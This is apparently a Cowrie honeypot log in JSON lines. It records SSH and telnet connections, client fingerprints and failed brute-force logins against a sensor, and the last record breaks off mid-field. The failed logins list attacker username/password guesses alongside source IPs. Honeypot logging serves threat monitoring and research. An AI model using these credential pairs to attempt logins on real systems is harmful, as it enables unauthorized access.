{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:13.196287Z","src_ip":"42.200.66.164","session":"5a5ba9490898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234@","message":"login attempt [root/abcd1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:14.104667Z","src_ip":"42.200.66.164","session":"5a5ba9490898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:15.326418Z","src_ip":"42.200.66.164","session":"5a5ba9490898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33386,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86ecc3d4241","protocol":"telnet","message":"New connection: 64.227.101.30:33386 (10.17.0.5:23) [session: c86ecc3d4241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:15.593398Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.196","src_port":50269,"dst_ip":"159.203.135.109","dst_port":23,"session":"b50913e72f73","protocol":"telnet","message":"New connection: 205.210.31.196:50269 (159.203.135.109:23) [session: b50913e72f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:17.088418Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":52014,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4b22198ae1","protocol":"ssh","message":"New connection: 43.243.142.42:52014 (159.203.135.109:22) [session: 7f4b22198ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:19.063720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:19.069138Z","src_ip":"43.243.142.42","session":"7f4b22198ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:19.319464Z","src_ip":"43.243.142.42","session":"7f4b22198ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.12294411659241,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:19.596842Z","src_ip":"88.202.190.14","session":"78b638f65161","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"test123","message":"login attempt [default/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:20.271085Z","src_ip":"43.243.142.42","session":"7f4b22198ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:21.506125Z","src_ip":"43.243.142.42","session":"7f4b22198ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.921310901641846,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:26.477231Z","src_ip":"88.202.190.14","session":"5110a862b436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":33516,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba3be1a16e0","protocol":"ssh","message":"New connection: 216.155.93.75:33516 (10.17.0.5:22) [session: 2ba3be1a16e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:35.750230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:35.755744Z","src_ip":"216.155.93.75","session":"2ba3be1a16e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:35.905397Z","src_ip":"216.155.93.75","session":"2ba3be1a16e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEasdZXC","message":"login attempt [root/QWEasdZXC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:36.533177Z","src_ip":"216.155.93.75","session":"2ba3be1a16e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:37.687138Z","src_ip":"216.155.93.75","session":"2ba3be1a16e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33338,"dst_ip":"159.203.135.109","dst_port":23,"session":"148f1bb84657","protocol":"telnet","message":"New connection: 88.202.190.14:33338 (159.203.135.109:23) [session: 148f1bb84657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:47.300739Z"}
{"eventid":"cowrie.session.closed","duration":31.720880031585693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:48.809159Z","src_ip":"205.210.31.196","session":"b50913e72f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":55247,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0bdbaeb0177","protocol":"telnet","message":"New connection: 49.88.156.34:55247 (10.17.0.5:23) [session: d0bdbaeb0177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:51.294899Z"}
{"eventid":"cowrie.session.closed","duration":40.08371305465698,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:55.676983Z","src_ip":"64.227.101.30","session":"c86ecc3d4241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":41776,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c920ea3cef","protocol":"ssh","message":"New connection: 42.200.66.164:41776 (159.203.135.109:22) [session: f5c920ea3cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:05.499554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:05.504584Z","src_ip":"42.200.66.164","session":"f5c920ea3cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:05.727931Z","src_ip":"42.200.66.164","session":"f5c920ea3cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcABC123!","message":"login attempt [root/abcABC123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:06.632774Z","src_ip":"42.200.66.164","session":"f5c920ea3cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:07.853626Z","src_ip":"42.200.66.164","session":"f5c920ea3cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75513005256653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:18.055758Z","src_ip":"88.202.190.14","session":"148f1bb84657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":45982,"dst_ip":"159.203.135.109","dst_port":22,"session":"2808a92e9e23","protocol":"ssh","message":"New connection: 43.243.142.42:45982 (159.203.135.109:22) [session: 2808a92e9e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:20.029605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:20.034849Z","src_ip":"43.243.142.42","session":"2808a92e9e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:20.268405Z","src_ip":"43.243.142.42","session":"2808a92e9e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"d3pl0y","message":"login attempt [deployer/d3pl0y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:21.229092Z","src_ip":"43.243.142.42","session":"2808a92e9e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:22.465811Z","src_ip":"43.243.142.42","session":"2808a92e9e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":36698,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45977b2a73a","protocol":"telnet","message":"New connection: 88.202.190.14:36698 (159.203.135.109:23) [session: e45977b2a73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:36.039285Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":41987,"dst_ip":"10.17.0.5","dst_port":22,"session":"12428a53b9bf","protocol":"ssh","message":"New connection: 216.155.93.75:41987 (10.17.0.5:22) [session: 12428a53b9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:40.933574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:40.938245Z","src_ip":"216.155.93.75","session":"12428a53b9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:41.087707Z","src_ip":"216.155.93.75","session":"12428a53b9bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq!12345","message":"login attempt [root/Qq!12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:41.712688Z","src_ip":"216.155.93.75","session":"12428a53b9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:26:42.864306Z","src_ip":"216.155.93.75","session":"12428a53b9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":58244,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c09f9ed0bf6","protocol":"ssh","message":"New connection: 42.200.66.164:58244 (159.203.135.109:22) [session: 5c09f9ed0bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:02.679758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:02.684559Z","src_ip":"42.200.66.164","session":"5c09f9ed0bf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:02.904705Z","src_ip":"42.200.66.164","session":"5c09f9ed0bf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git!2026","message":"login attempt [git/git!2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:03.807098Z","src_ip":"42.200.66.164","session":"5c09f9ed0bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:05.026822Z","src_ip":"42.200.66.164","session":"5c09f9ed0bf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06957221031189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:07.108746Z","src_ip":"88.202.190.14","session":"e45977b2a73a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":55768,"dst_ip":"159.203.135.109","dst_port":22,"session":"61e690320558","protocol":"ssh","message":"New connection: 43.243.142.42:55768 (159.203.135.109:22) [session: 61e690320558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:20.731993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:20.737212Z","src_ip":"43.243.142.42","session":"61e690320558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecd